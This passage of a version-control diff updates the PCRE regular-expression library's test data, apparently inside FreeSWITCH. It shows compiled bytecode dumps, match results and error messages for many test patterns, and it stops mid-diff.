+Options: extended
+First char = 'a'
+No need char
+
+/x?+/BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     x?+
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/x++/BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     x++
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/x{1,3}+/BM 
+Memory allocation (code space): 19
+------------------------------------------------------------------
+  0  15 Bra
+  3   9 Once
+  6     x
+  8     x{0,2}
+ 12   9 Ket
+ 15  15 Ket
+ 18     End
+------------------------------------------------------------------
+
+/(x)*+/BM
+Memory allocation (code space): 24
+------------------------------------------------------------------
+  0  20 Bra
+  3  14 Once
+  6     Brazero
+  7   7 CBra 1
+ 12     x
+ 14   7 KetRmax
+ 17  14 Ket
+ 20  20 Ket
+ 23     End
+------------------------------------------------------------------
+
+/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/BM
+Memory allocation (code space): 120
+------------------------------------------------------------------
+  0 116 Bra
+  3     ^
+  4 109 CBra 1
+  9   7 CBra 2
+ 14     a+
+ 16   7 Ket
+ 19  39 CBra 3
+ 24     [ab]+?
+ 58  39 Ket
+ 61  39 CBra 4
+ 66     [bc]+
+100  39 Ket
+103   7 CBra 5
+108     \w*
+110   7 Ket
+113 109 Ket
+116 116 Ket
+119     End
+------------------------------------------------------------------
+
+|8J\$WE\<\.rX\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|BM
+Memory allocation (code space): 826
+------------------------------------------------------------------
+  0 822 Bra
+  3     8J$WE<.rX+ix[d1b!H#?vV0vrK:ZH1=2M>iV;?aPhFB<*vW@QW@sO9}cfZA-i'w%hKd6gt1UJP,15_#QY$M^Mss_U/]&LK9[5vQub^w[KDD<EjmhUZ?.akp2dF>qmj;2}YWFdYx.Ap]hjCPTP(n28k+3;o&WXqs/gOXdr$:r'do0;b4c(f_Gr="\4)[01T7ajQJvL$W~mL_sS/4h:x*[ZN=KLs&L5zX//>it,o:aU(;Z>pW&T7oP'2K^E:x9'c[%z-,64JQ5AeH_G#KijUKghQw^\vea3a?kka_G$8#`*kynsxzBLru']k_[7FrVx}^=$blx>s-N%j;D*aZDnsw:YKZ%Q.Kne9#hP?+b3(SOvL,^;&u5@?5C5Bhb=m-vEh_L15Jl]U)0RP6{q%L^_z5E'Dw6X
+821     \b
+822 822 Ket
+825     End
+------------------------------------------------------------------
+
+|\$\<\.X\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|BM
+Memory allocation (code space): 816
+------------------------------------------------------------------
+  0 812 Bra
+  3     $<.X+ix[d1b!H#?vV0vrK:ZH1=2M>iV;?aPhFB<*vW@QW@sO9}cfZA-i'w%hKd6gt1UJP,15_#QY$M^Mss_U/]&LK9[5vQub^w[KDD<EjmhUZ?.akp2dF>qmj;2}YWFdYx.Ap]hjCPTP(n28k+3;o&WXqs/gOXdr$:r'do0;b4c(f_Gr="\4)[01T7ajQJvL$W~mL_sS/4h:x*[ZN=KLs&L5zX//>it,o:aU(;Z>pW&T7oP'2K^E:x9'c[%z-,64JQ5AeH_G#KijUKghQw^\vea3a?kka_G$8#`*kynsxzBLru']k_[7FrVx}^=$blx>s-N%j;D*aZDnsw:YKZ%Q.Kne9#hP?+b3(SOvL,^;&u5@?5C5Bhb=m-vEh_L15Jl]U)0RP6{q%L^_z5E'Dw6X
+811     \b
+812 812 Ket
+815     End
+------------------------------------------------------------------
+
+/(a(?1)b)/BM
+Memory allocation (code space): 28
+------------------------------------------------------------------
+  0  24 Bra
+  3  18 CBra 1
+  8     a
+ 10   6 Once
+ 13   3 Recurse
+ 16   6 Ket
+ 19     b
+ 21  18 Ket
+ 24  24 Ket
+ 27     End
+------------------------------------------------------------------
+
+/(a(?1)+b)/BM
+Memory allocation (code space): 28
+------------------------------------------------------------------
+  0  24 Bra
+  3  18 CBra 1
+  8     a
+ 10   6 Once
+ 13   3 Recurse
+ 16   6 KetRmax
+ 19     b
+ 21  18 Ket
+ 24  24 Ket
+ 27     End
+------------------------------------------------------------------
+
+/a(?P<name1>b|c)d(?P<longername2>e)/BM
+Memory allocation (code space): 42
+------------------------------------------------------------------
+  0  32 Bra
+  3     a
+  5   7 CBra 1
+ 10     b
+ 12   5 Alt
+ 15     c
+ 17  12 Ket
+ 20     d
+ 22   7 CBra 2
+ 27     e
+ 29   7 Ket
+ 32  32 Ket
+ 35     End
+------------------------------------------------------------------
+
+/(?:a(?P<c>c(?P<d>d)))(?P<a>a)/BM
+Memory allocation (code space): 54
+------------------------------------------------------------------
+  0  41 Bra
+  3  25 Bra
+  6     a
+  8  17 CBra 1
+ 13     c
+ 15   7 CBra 2
+ 20     d
+ 22   7 Ket
+ 25  17 Ket
+ 28  25 Ket
+ 31   7 CBra 3
+ 36     a
+ 38   7 Ket
+ 41  41 Ket
+ 44     End
+------------------------------------------------------------------
+
+/(?P<a>a)...(?P=a)bbb(?P>a)d/BM
+Memory allocation (code space): 43
+------------------------------------------------------------------
+  0  36 Bra
+  3   7 CBra 1
+  8     a
+ 10   7 Ket
+ 13     Any
+ 14     Any
+ 15     Any
+ 16     \1
+ 19     bbb
+ 25   6 Once
+ 28   3 Recurse
+ 31   6 Ket
+ 34     d
+ 36  36 Ket
+ 39     End
+------------------------------------------------------------------
+
+/abc(?C255)de(?C)f/BM
+Memory allocation (code space): 31
+------------------------------------------------------------------
+  0  27 Bra
+  3     abc
+  9     Callout 255 10 1
+ 15     de
+ 19     Callout 0 16 1
+ 25     f
+ 27  27 Ket
+ 30     End
+------------------------------------------------------------------
+
+/abcde/CBM
+Memory allocation (code space): 53
+------------------------------------------------------------------
+  0  49 Bra
+  3     Callout 255 0 1
+  9     a
+ 11     Callout 255 1 1
+ 17     b
+ 19     Callout 255 2 1
+ 25     c
+ 27     Callout 255 3 1
+ 33     d
+ 35     Callout 255 4 1
+ 41     e
+ 43     Callout 255 5 0
+ 49  49 Ket
+ 52     End
+------------------------------------------------------------------
+
+/\x{100}/8BM
+Memory allocation (code space): 10
+------------------------------------------------------------------
+  0   6 Bra
+  3     \x{100}
+  6   6 Ket
+  9     End
+------------------------------------------------------------------
+
+/\x{1000}/8BM
+Memory allocation (code space): 11
+------------------------------------------------------------------
+  0   7 Bra
+  3     \x{1000}
+  7   7 Ket
+ 10     End
+------------------------------------------------------------------
+
+/\x{10000}/8BM
+Memory allocation (code space): 12
+------------------------------------------------------------------
+  0   8 Bra
+  3     \x{10000}
+  8   8 Ket
+ 11     End
+------------------------------------------------------------------
+
+/\x{100000}/8BM
+Memory allocation (code space): 12
+------------------------------------------------------------------
+  0   8 Bra
+  3     \x{100000}
+  8   8 Ket
+ 11     End
+------------------------------------------------------------------
+
+/\x{1000000}/8BM
+Memory allocation (code space): 13
+------------------------------------------------------------------
+  0   9 Bra
+  3     \x{1000000}
+  9   9 Ket
+ 12     End
+------------------------------------------------------------------
+
+/\x{4000000}/8BM
+Memory allocation (code space): 14
+------------------------------------------------------------------
+  0  10 Bra
+  3     \x{4000000}
+ 10  10 Ket
+ 13     End
+------------------------------------------------------------------
+
+/\x{7fffFFFF}/8BM
+Memory allocation (code space): 14
+------------------------------------------------------------------
+  0  10 Bra
+  3     \x{7fffffff}
+ 10  10 Ket
+ 13     End
+------------------------------------------------------------------
+
+/[\x{ff}]/8BM
+Memory allocation (code space): 10
+------------------------------------------------------------------
+  0   6 Bra
+  3     \x{ff}
+  6   6 Ket
+  9     End
+------------------------------------------------------------------
+
+/[\x{100}]/8BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\x{100}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/\x80/8BM
+Memory allocation (code space): 10
+------------------------------------------------------------------
+  0   6 Bra
+  3     \x{80}
+  6   6 Ket
+  9     End
+------------------------------------------------------------------
+
+/\xff/8BM
+Memory allocation (code space): 10
+------------------------------------------------------------------
+  0   6 Bra
+  3     \x{ff}
+  6   6 Ket
+  9     End
+------------------------------------------------------------------
+
+/\x{0041}\x{2262}\x{0391}\x{002e}/D8M
+Memory allocation (code space): 18
+------------------------------------------------------------------
+  0  14 Bra
+  3     A\x{2262}\x{391}.
+ 14  14 Ket
+ 17     End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Options: utf8
+First char = 'A'
+Need char = '.'
+    
+/\x{D55c}\x{ad6d}\x{C5B4}/D8M 
+Memory allocation (code space): 19
+------------------------------------------------------------------
+  0  15 Bra
+  3     \x{d55c}\x{ad6d}\x{c5b4}
+ 15  15 Ket
+ 18     End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Options: utf8
+First char = 237
+Need char = 180
+
+/\x{65e5}\x{672c}\x{8a9e}/D8M
+Memory allocation (code space): 19
+------------------------------------------------------------------
+  0  15 Bra
+  3     \x{65e5}\x{672c}\x{8a9e}
+ 15  15 Ket
+ 18     End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Options: utf8
+First char = 230
+Need char = 158
+
+/[\x{100}]/8BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\x{100}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/[Z\x{100}]/8BM
+Memory allocation (code space): 47
+------------------------------------------------------------------
+  0  43 Bra
+  3     [Z\x{100}]
+ 43  43 Ket
+ 46     End
+------------------------------------------------------------------
+
+/^[\x{100}\E-\Q\E\x{150}]/B8M
+Memory allocation (code space): 18
+------------------------------------------------------------------
+  0  14 Bra
+  3     ^
+  4     [\x{100}-\x{150}]
+ 14  14 Ket
+ 17     End
+------------------------------------------------------------------
+
+/^[\QĀ\E-\QŐ\E]/B8M
+Memory allocation (code space): 18
+------------------------------------------------------------------
+  0  14 Bra
+  3     ^
+  4     [\x{100}-\x{150}]
+ 14  14 Ket
+ 17     End
+------------------------------------------------------------------
+
+/^[\QĀ\E-\QŐ\E/B8M
+Failed: missing terminating ] for character class at offset 15
+
+/[\p{L}]/BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\p{L}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/[\p{^L}]/BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\P{L}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/[\P{L}]/BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\P{L}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/[\P{^L}]/BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\p{L}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/[abc\p{L}\x{0660}]/8BM
+Memory allocation (code space): 50
+------------------------------------------------------------------
+  0  46 Bra
+  3     [a-c\p{L}\x{660}]
+ 46  46 Ket
+ 49     End
+------------------------------------------------------------------
+
+/[\p{Nd}]/8BM
+Memory allocation (code space): 15
+------------------------------------------------------------------
+  0  11 Bra
+  3     [\p{Nd}]
+ 11  11 Ket
+ 14     End
+------------------------------------------------------------------
+
+/[\p{Nd}+-]+/8BM
+Memory allocation (code space): 48
+------------------------------------------------------------------
+  0  44 Bra
+  3     [+\-\p{Nd}]+
+ 44  44 Ket
+ 47     End
+------------------------------------------------------------------
+
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8iBM
+Memory allocation (code space): 25
+------------------------------------------------------------------
+  0  21 Bra
+  3  NC A\x{391}\x{10427}\x{ff3a}\x{1fb0}
+ 21  21 Ket
+ 24     End
+------------------------------------------------------------------
+
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8BM
+Memory allocation (code space): 25
+------------------------------------------------------------------
+  0  21 Bra
+  3     A\x{391}\x{10427}\x{ff3a}\x{1fb0}
+ 21  21 Ket
+ 24     End
+------------------------------------------------------------------
+
+/[\x{105}-\x{109}]/8iBM
+Memory allocation (code space): 17
+------------------------------------------------------------------
+  0  13 Bra
+  3     [\x{104}-\x{109}]
+ 13  13 Ket
+ 16     End
+------------------------------------------------------------------
+
+/( ( (?(1)0|) )*   )/xBM
+Memory allocation (code space): 38
+------------------------------------------------------------------
+  0  34 Bra
+  3  28 CBra 1
+  8     Brazero
+  9  19 SCBra 2
+ 14   8 Cond
+ 17   1 Cond ref
+ 20     0
+ 22   3 Alt
+ 25  11 Ket
+ 28  19 KetRmax
+ 31  28 Ket
+ 34  34 Ket
+ 37     End
+------------------------------------------------------------------
+
+/(  (?(1)0|)*   )/xBM
+Memory allocation (code space): 30
+------------------------------------------------------------------
+  0  26 Bra
+  3  20 CBra 1
+  8     Brazero
+  9   8 SCond
+ 12   1 Cond ref
+ 15     0
+ 17   3 Alt
+ 20  11 KetRmax
+ 23  20 Ket
+ 26  26 Ket
+ 29     End
+------------------------------------------------------------------
+
+/[a]/BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     a
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/[a]/8BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     a
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/[\xaa]/BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     \xaa
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/[\xaa]/8BM
+Memory allocation (code space): 10
+------------------------------------------------------------------
+  0   6 Bra
+  3     \x{aa}
+  6   6 Ket
+  9     End
+------------------------------------------------------------------
+
+/[^a]/BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     [^a]
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/[^a]/8BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     [^a]
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/[^\xaa]/BM
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     [^\xaa]
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+
+/[^\xaa]/8BM
+Memory allocation (code space): 40
+------------------------------------------------------------------
+  0  36 Bra
+  3     [\x00-\xa9\xab-\xff] (neg)
+ 36  36 Ket
+ 39     End
+------------------------------------------------------------------
+
+/ End of testinput10 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput2 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput2	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput2	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,10 +1,10 @@
-/(a)b|/
+/(a)b|/I
 Capturing subpattern count = 1
 No options
 No first char
 No need char
 
-/abc/
+/abc/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -22,7 +22,7 @@
     ABC
 No match
 
-/^abc/
+/^abc/I
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -38,35 +38,35 @@
     \Adefabc
 No match
 
-/a+bc/
+/a+bc/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'c'
 
-/a*bc/
+/a*bc/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 Need char = 'c'
 
-/a{3}bc/
+/a{3}bc/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'c'
 
-/(abc|a+z)/
+/(abc|a+z)/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/^abc$/
+/^abc$/I
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -78,10 +78,10 @@
     def\nabc
 No match
 
-/ab\gdef/X
+/ab\idef/X
 Failed: unrecognized character follows \ at offset 3
 
-/(?X)ab\gdef/X
+/(?X)ab\idef/X
 Failed: unrecognized character follows \ at offset 7
 
 /x{5,4}/
@@ -109,23 +109,23 @@
 Failed: missing ) after comment at offset 7
 
 /(?z)abc/
-Failed: unrecognized character after (? at offset 2
+Failed: unrecognized character after (? or (?- at offset 2
 
-/.*b/
+/.*b/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char at start or follows newline
 Need char = 'b'
 
-/.*?b/
+/.*?b/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char at start or follows newline
 Need char = 'b'
 
-/cat|dog|elephant/
+/cat|dog|elephant/I
 Capturing subpattern count = 0
 No options
 No first char
@@ -135,7 +135,7 @@
     this sentences rambles on and on for a while and then reaches elephant
  0: elephant
 
-/cat|dog|elephant/S
+/cat|dog|elephant/IS
 Capturing subpattern count = 0
 No options
 No first char
@@ -146,7 +146,7 @@
     this sentences rambles on and on for a while and then reaches elephant
  0: elephant
 
-/cat|dog|elephant/iS
+/cat|dog|elephant/IiS
 Capturing subpattern count = 0
 Options: caseless
 No first char
@@ -157,14 +157,14 @@
     this sentences rambles on and on for a while to elephant ElePhant
  0: elephant
 
-/a|[bcd]/S
+/a|[bcd]/IS
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 Starting byte set: a b c d 
 
-/(a|[^\dZ])/S
+/(a|[^\dZ])/IS
 Capturing subpattern count = 1
 No options
 No first char
@@ -184,7 +184,7 @@
   \xed \xee \xef \xf0 \xf1 \xf2 \xf3 \xf4 \xf5 \xf6 \xf7 \xf8 \xf9 \xfa \xfb 
   \xfc \xfd \xfe \xff 
 
-/(a|b)*[\s]/S
+/(a|b)*[\s]/IS
 Capturing subpattern count = 1
 No options
 No first char
@@ -197,7 +197,7 @@
 /{4,5}abc/
 Failed: nothing to repeat at offset 4
 
-/(a)(b)(c)\2/
+/(a)(b)(c)\2/I
 Capturing subpattern count = 3
 Max back reference = 2
 No options
@@ -222,13 +222,13 @@
  0: abcb
  1: a
  2: b
-    \O12abcb 
+    \O12abcb
  0: abcb
  1: a
  2: b
  3: c
 
-/(a)bc|(a)(b)\2/
+/(a)bc|(a)(b)\2/I
 Capturing subpattern count = 3
 Max back reference = 2
 No options
@@ -270,7 +270,7 @@
  2: a
  3: b
 
-/abc$/E
+/abc$/IE
 Capturing subpattern count = 0
 Options: dollar_endonly
 First char = 'a'
@@ -287,7 +287,7 @@
 /(a)(b)(c)(d)(e)\6/
 Failed: reference to non-existent subpattern at offset 17
 
-/the quick brown fox/
+/the quick brown fox/I
 Capturing subpattern count = 0
 No options
 First char = 't'
@@ -297,7 +297,7 @@
     this is a line with the quick brown fox
  0: the quick brown fox
 
-/the quick brown fox/A
+/the quick brown fox/IA
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -310,9 +310,9 @@
 No match
 
 /ab(?z)cd/
-Failed: unrecognized character after (? at offset 4
+Failed: unrecognized character after (? or (?- at offset 4
 
-/^abc|def/
+/^abc|def/I
 Capturing subpattern count = 0
 No options
 No first char
@@ -322,7 +322,7 @@
     abcdef\B
  0: def
 
-/.*((abc)$|(def))/
+/.*((abc)$|(def))/I
 Capturing subpattern count = 3
 Partial matching not supported
 No options
@@ -338,19 +338,19 @@
  2: <unset>
  3: def
 
-/abc/P
+/abc/IP
     abc
  0: abc
     *** Failers
 No match: POSIX code 17: match failed
-    
-/^abc|def/P
+
+/^abc|def/IP
     abcdef
  0: abc
     abcdef\B
  0: def
 
-/.*((abc)$|(def))/P
+/.*((abc)$|(def))/IP
     defabc
  0: defabc
  1: abc
@@ -359,37 +359,37 @@
  0: def
  1: def
  3: def
-  
-/the quick brown fox/P
+
+/the quick brown fox/IP
     the quick brown fox
  0: the quick brown fox
-    *** Failers 
+    *** Failers
 No match: POSIX code 17: match failed
-    The Quick Brown Fox 
+    The Quick Brown Fox
 No match: POSIX code 17: match failed
 
-/the quick brown fox/Pi
+/the quick brown fox/IPi
     the quick brown fox
  0: the quick brown fox
-    The Quick Brown Fox 
+    The Quick Brown Fox
  0: The Quick Brown Fox
 
-/abc.def/P
+/abc.def/IP
     *** Failers
 No match: POSIX code 17: match failed
     abc\ndef
 No match: POSIX code 17: match failed
-    
-/abc$/P
+
+/abc$/IP
     abc
  0: abc
-    abc\n 
+    abc\n
  0: abc
 
-/(abc)\2/P
+/(abc)\2/IP
 Failed: POSIX code 15: bad back reference at offset 7     
 
-/(abc\1)/P
+/(abc\1)/IP
     abc
 No match: POSIX code 17: match failed
 
@@ -399,16 +399,16 @@
 /a[]b/
 Failed: missing terminating ] for character class at offset 4
 
-/[^aeiou ]{3,}/
+/[^aeiou ]{3,}/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 No need char
-    co-processors, and for 
+    co-processors, and for
  0: -pr
-    
-/<.*>/
+
+/<.*>/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -417,7 +417,7 @@
     abc<def>ghi<klm>nop
  0: <def>ghi<klm>
 
-/<.*?>/
+/<.*?>/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -426,7 +426,7 @@
     abc<def>ghi<klm>nop
  0: <def>
 
-/<.*>/U
+/<.*>/IU
 Capturing subpattern count = 0
 Partial matching not supported
 Options: ungreedy
@@ -434,8 +434,8 @@
 Need char = '>'
     abc<def>ghi<klm>nop
  0: <def>
-    
-/(?U)<.*>/
+
+/(?U)<.*>/I
 Capturing subpattern count = 0
 Partial matching not supported
 Options: ungreedy
@@ -444,7 +444,7 @@
     abc<def>ghi<klm>nop
  0: <def>
 
-/<.*?>/U
+/<.*?>/IU
 Capturing subpattern count = 0
 Partial matching not supported
 Options: ungreedy
@@ -452,8 +452,8 @@
 Need char = '>'
     abc<def>ghi<klm>nop
  0: <def>ghi<klm>
-    
-/={3,}/U
+
+/={3,}/IU
 Capturing subpattern count = 0
 Partial matching not supported
 Options: ungreedy
@@ -461,8 +461,8 @@
 Need char = '='
     abc========def
  0: ===
-    
-/(?U)={3,}?/
+
+/(?U)={3,}?/I
 Capturing subpattern count = 0
 Partial matching not supported
 Options: ungreedy
@@ -470,21 +470,21 @@
 Need char = '='
     abc========def
  0: ========
-    
-/(?<!bar|cattle)foo/
+
+/(?<!bar|cattle)foo/I
 Capturing subpattern count = 0
 No options
 First char = 'f'
 Need char = 'o'
     foo
  0: foo
-    catfoo 
+    catfoo
  0: foo
     *** Failers
 No match
     the barfoo
 No match
-    and cattlefoo   
+    and cattlefoo
 No match
 
 /(?<=a+)b/
@@ -496,65 +496,65 @@
 /(?<!(foo)a\1)bar/
 Failed: lookbehind assertion is not fixed length at offset 12
 
-/(?i)abc/
+/(?i)abc/I
 Capturing subpattern count = 0
 Options: caseless
 First char = 'a' (caseless)
 Need char = 'c' (caseless)
 
-/(a|(?m)a)/
+/(a|(?m)a)/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/(?i)^1234/
+/(?i)^1234/I
 Capturing subpattern count = 0
 Options: anchored caseless
 No first char
 No need char
 
-/(^b|(?i)^d)/
+/(^b|(?i)^d)/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
 
-/(?s).*/
+/(?s).*/I
 Capturing subpattern count = 0
 Partial matching not supported
 Options: anchored dotall
 No first char
 No need char
 
-/[abcd]/S
+/[abcd]/IS
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 Starting byte set: a b c d 
 
-/(?i)[abcd]/S
+/(?i)[abcd]/IS
 Capturing subpattern count = 0
 Options: caseless
 No first char
 No need char
 Starting byte set: A B C D a b c d 
 
-/(?m)[xy]|(b|c)/S
+/(?m)[xy]|(b|c)/IS
 Capturing subpattern count = 1
 Options: multiline
 No first char
 No need char
 Starting byte set: b c x y 
 
-/(^a|^b)/m
+/(^a|^b)/Im
 Capturing subpattern count = 1
 Options: multiline
 First char at start or follows newline
 No need char
 
-/(?i)(^a|^b)/m
+/(?i)(^a|^b)/Im
 Capturing subpattern count = 1
 Options: caseless multiline
 First char at start or follows newline
@@ -567,6 +567,9 @@
 Failed: conditional group contains more than two branches at offset 12
 
 /(?(1a)/
+Failed: missing ) at offset 6
+
+/(?(1a))/
 Failed: reference to non-existent subpattern at offset 6
 
 /(?(?i))/
@@ -576,9 +579,9 @@
 Failed: reference to non-existent subpattern at offset 7
 
 /(?(?<ab))/
-Failed: unrecognized character after (?< at offset 5
+Failed: syntax error in subpattern name (missing terminator) at offset 7
 
-/((?s)blah)\s+\1/
+/((?s)blah)\s+\1/I
 Capturing subpattern count = 1
 Max back reference = 1
 Partial matching not supported
@@ -586,7 +589,7 @@
 First char = 'b'
 Need char = 'h'
 
-/((?i)blah)\s+\1/
+/((?i)blah)\s+\1/I
 Capturing subpattern count = 1
 Max back reference = 1
 Partial matching not supported
@@ -594,16 +597,16 @@
 First char = 'b' (caseless)
 Need char = 'h' (caseless)
 
-/((?i)b)/DS
+/((?i)b)/IDZS
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3   7 Bra 1
-  6  01 Opt
-  8  NC b
- 10   7 Ket
- 13  00 Opt
- 15  15 Ket
- 18     End
+        Bra
+        CBra 1
+     01 Opt
+     NC b
+        Ket
+     00 Opt
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
@@ -611,7 +614,7 @@
 No need char
 Study returned NULL
 
-/(a*b|(?i:c*(?-i)d))/S
+/(a*b|(?i:c*(?-i)d))/IS
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -619,7 +622,7 @@
 No need char
 Starting byte set: C a b c d 
 
-/a$/
+/a$/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -628,14 +631,14 @@
  0: a
     a\n
  0: a
-    *** Failers 
+    *** Failers
 No match
     \Za
 No match
-    \Za\n   
+    \Za\n
 No match
 
-/a$/m
+/a$/Im
 Capturing subpattern count = 0
 Options: multiline
 First char = 'a'
@@ -644,26 +647,26 @@
  0: a
     a\n
  0: a
-    \Za\n   
+    \Za\n
  0: a
-    *** Failers 
+    *** Failers
 No match
     \Za
 No match
-    
-/\Aabc/m
+
+/\Aabc/Im
 Capturing subpattern count = 0
 Options: anchored multiline
 No first char
 No need char
 
-/^abc/m 
+/^abc/Im
 Capturing subpattern count = 0
 Options: multiline
 First char at start or follows newline
 Need char = 'c'
 
-/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/
+/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/I
 Capturing subpattern count = 5
 Partial matching not supported
 Options: anchored
@@ -677,60 +680,62 @@
  4: bbbbccccc
  5: def
 
-/(?<=foo)[ab]/S
+/(?<=foo)[ab]/IS
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 Starting byte set: a b 
 
-/(?<!foo)(alpha|omega)/S
+/(?<!foo)(alpha|omega)/IS
 Capturing subpattern count = 1
 No options
 No first char
 Need char = 'a'
 Starting byte set: a o 
 
-/(?!alphabet)[ab]/S
+/(?!alphabet)[ab]/IS
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 Starting byte set: a b 
 
-/(?<=foo\n)^bar/m
+/(?<=foo\n)^bar/Im
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 Options: multiline
 No first char
 Need char = 'r'
-    foo\nbarbar 
+    foo\nbarbar
  0: bar
     ***Failers
 No match
-    rhubarb 
+    rhubarb
 No match
     barbell
 No match
-    abc\nbarton 
+    abc\nbarton
 No match
 
-/^(?<=foo\n)bar/m
+/^(?<=foo\n)bar/Im
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 Options: multiline
 First char at start or follows newline
 Need char = 'r'
-    foo\nbarbar 
+    foo\nbarbar
  0: bar
     ***Failers
 No match
-    rhubarb 
+    rhubarb
 No match
     barbell
 No match
-    abc\nbarton 
+    abc\nbarton
 No match
 
-/(?>^abc)/m
+/(?>^abc)/Im
 Capturing subpattern count = 0
 Options: multiline
 First char at start or follows newline
@@ -741,7 +746,7 @@
  0: abc
     *** Failers
 No match
-    defabc   
+    defabc
